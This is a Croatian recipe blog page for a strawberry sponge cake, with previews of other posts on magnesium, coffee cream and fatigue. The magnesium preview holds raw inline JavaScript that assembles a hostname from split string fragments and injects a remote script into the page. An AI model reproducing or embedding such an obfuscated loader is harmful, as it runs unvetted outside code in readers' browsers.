BISKVITNI KOLAČ S JAGODAMA 🍓





Biskvitni kolač s jagodama 



Priznajmo si , većina nas voli konzumirati ih same bez ičega ili i vi kao ja uživate ih jesti sa šećerom? Kad smo kod kolača s jagodama, volim da se osjeti njihov okus i da vode glavnu riječ. Upravo tako je nastao ovaj kolač.




Biskvitni kolač s jagodama 


Sastojci:

Sastojci za biskvit:

  • 50 g mljevenih badema
  • 260 g glatkog brašna
  • 1 prašak za pecivo
  • 4 jaja
  • 280 g šećera
  • 100 ml ulja
  • 100 ml mlijeka

Nadjev od jagoda:

  • 250 g jagoda
  • 200 ml vode
  • 2 žlice gustina
  • 2 vanilin šećera
  • 80 g šećera

Trebat će vam još:

  • Šećer u prahu i jagode za dekoraciju po želji



Priprema:

  • Za izradu biskvita potrebno je žumanjke odvojiti od bjelanjaka.
  • Sve suhe sastojke izmiješajte posebno u posudi.
  • Bjelanjke uz pomoć kuhinjskog robota ili miksera izradite na srednjoj brzini.
  • Izrađenim bjelanjcima postepeno dodavati šećer dok ne postignete sjajni i čvrsti šlag.
  • Miješajte na srednjoj brzini ,zatim dodavati jedan po jedan žumanjak.
  • Potom dodajte ulje i mlijeko, zatim sve suhe sastojke. Možete promijeniti nastavak za izradu biskvita, pa kratko izraditi smjesu dok se svi sastojci ne sjedine.
  • Pripremite kalup. Ja sam koristila pravokutni kalup dimenzija 30 × 12 cm. Obložite ga papirom za pečenje.
  • Smjesu podijelite na dva dijela. Jedan dio smjese ulijte u kalup, drugi ostavite za kasnije.
  • Stavite peći biskvit na 180° c stupnjeva oko 15 minuta dok ne pripremite nadjev.
  • Jagode očistite i narežite na kriške. Stavite ih u posudu za kuhanje te im dodajte šećer i vanilin šećer.
  • Od navedene količine vode odvojite par žlica i pomiješajte s gustinom posebno u posudici. Ostatak vode ulijte jagodama i stavite kuhati.
  • Kada su jagode prokuhale ,dodajte im gustin. Brzo miješajte i kuhajte par minuta dok se nadjev ne zgusne. Kratko prohladite.
  • Izvadite na pola pečen biskvit i u njega polako ulijte nadjev od jagoda.
  • Ostatak biskvita prelijte preko nadjeva. Stavite peći kolač do kraja oko 25 minuta.
  • Pečen kolač ostavite da se ohladi. Prije konzumiranja posipajte ga šećerom u prahu i ukrasite jagodama po želji.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više